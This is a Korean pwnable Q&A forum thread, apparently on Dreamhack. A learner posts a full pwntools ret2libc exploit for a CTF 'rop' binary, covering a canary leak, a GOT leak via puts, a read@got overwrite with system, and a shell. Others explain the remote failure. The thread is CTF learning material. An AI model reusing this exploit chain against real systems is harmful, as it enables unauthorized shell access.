서버의 libc 버전을 어떻게 알아낼 수 있나요

from pwn import *

def slog(name, addr):
return success(": ".join([name, hex(addr)]))

#context.log_level ='DEBUG'
#p = process("./rop")
p = remote("host3.dreamhack.games",16271)
e = ELF("./rop")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")

r = ROP(e)

[1] Leak Canary

buf = b'A'*57
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
canary = u64(b'\x00'+p.recvn(7))
slog("Canary", canary)

[2] Exploit

read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
pop_rdi = r.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi_r15 = r.find_gadget(['pop rsi', 'pop r15', 'ret'])[0]
payload = b'A'*56 + p64(canary) + b'B'*8

slog("pop_rdi", pop_rdi)
slog("pop_rsi_r15", pop_rsi_r15)
slog("read_plt", read_plt)
slog("read_got", read_got)
slog("puts_plt", puts_plt)

puts(read@got)

payload += p64(pop_rdi) + p64(read_got) # puts(read@got)
payload += p64(puts_plt) # puts(read@got) 호출

read(0, read@got, 0) => read@got -> system

payload += p64(pop_rdi) + p64(0) # read(0, , )
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0) # read(0, read@got, 0)
payload += p64(read_plt) # read(0, read@got, 0) 호출

read("/bin/sh") => system("/bin/sh")

payload += p64(pop_rdi)
payload += p64(read_got+0x8) # read 함수의 첫번째 인자 값 ("/bin/sh")
payload += p64(read_plt) # read("/bin/sh") 호출
p.sendafter("Buf: ", payload) # puts()와 read got를 이용해서 read() 주소 출력
read = u64(p.recvn(6)+b'\x00'*2) # 화면에 출력된 read() 주소를 read에 대입
lb = read - libc.symbols["read"] # libc base = read 주소 - read symbols
system = lb + libc.symbols["system"] # system = libc base + system symbols

slog("read", read)
slog("libc_base", lb)
slog("system", system)

p.send(p64(system)+b"/bin/sh\x00")

p.interactive()

local에서는 잘 동작했습니다.
서버에서는 library버전을

p = remote("host3.dreamhack.games",16271)
e = ELF("./rop")
libc = ELF("./libc.so.6")
#libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
r = ROP(e)

올려주신 집파일에 있던 ./libc.so.6 과 /lib/x86_64-linux-gnu/libc-2.27.so를 모두 사용해봤는데 EOF에러가 나네요.. 이유를 도저히 모르겠습니다. ㅠ

[] '/home/coco/work/aslr_nx/rop_practice/rop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[
] '/home/coco/work/aslr_nx/rop_practice/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[] Loaded 14 cached gadgets for './rop'
[+] Canary: 0xe53bfac3cac88600
[+] pop_rdi: 0x400853
[+] pop_rsi_r15: 0x400851
[+] read_plt: 0x4005f0
[+] read_got: 0x601038
[+] puts_plt: 0x4005b0
[+] read: 0x7fefbaa11980
[+] libc_base: 0x7fefba8fd000
[+] system: 0x7fefba94dd60
[
] Switching to interactive mode

[] Got EOF while reading in interactive
$ ls
$ ls
[
] Closed connection to host3.dreamhack.games port 16271
[*] Got EOF while sending in interactive

payload += p64(pop_rdi)
payload += p64(read_got+0x8) # read 함수의 첫번째 인자 값 ("/bin/sh")
payload += p64(ret)
payload += p64(read_plt)

ret을 추가 해도 동일합니다.. 로컬에서는 돌아가는데요..
도와주세요.. ㅠㅠ

===========
libc_base: 0x7fefba8fd000
libc 베이스 주소가 000으로 나오는 걸 보면 집파일의 libc.so.6 을 사용하는건 맞는 거 같은데 혹시 rdx값이 0이 되어서 그런가요?

스택 어라인 문제도 아닌것 같은데요...
질문을 정리하면

  1. 서버의 libc 버전은 어떻게 구할 수 있나요 --> libc 버전 문제라면 어떻게 해결할 수 있나요.. 올라온 libc사이트는 더이상 연결 안되던데요..
  2. 서버 버전이 22.x라면 rdx가 0 이 되어 문제가 일어난 것인지요 --> Return-to-csu 기법으로 해결해야 하나요.
  3. 서버 바이너리를 로컬 gdb에 붙일 수는 없지요?
#pwnable
작성자 정보
답변 3
avatar
wyv3rn
무플 방지 위원회장

혹시 puts로 leak 하셨나요?

최근 서버의 우분투 버전이 올라가며 말씀하신 것처럼 rdx가 0인가 1로 초기화되기에 다른 방법으로 릭을 해야합니다.

강의를 참고하시면 좋을 것 같아요

2023.07.10. 08:12
lattekim33
대표 업적 없음

puts대신 writes를 사용하니 리모트도 되네요.. 그런데 서버에서 ldd 로 바이너리의 libc버전 확인은 안되네요;; 어떻게 확인 하셨는지요?;;;

2023.07.10. 12:12
avatar
wyv3rn
무플 방지 위원회장

음? 로컬에서 제공된 libc 파일 붙여서 실행해서 직접 확인했습니다 ㅎㅎ

2023.07.10. 13:55
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기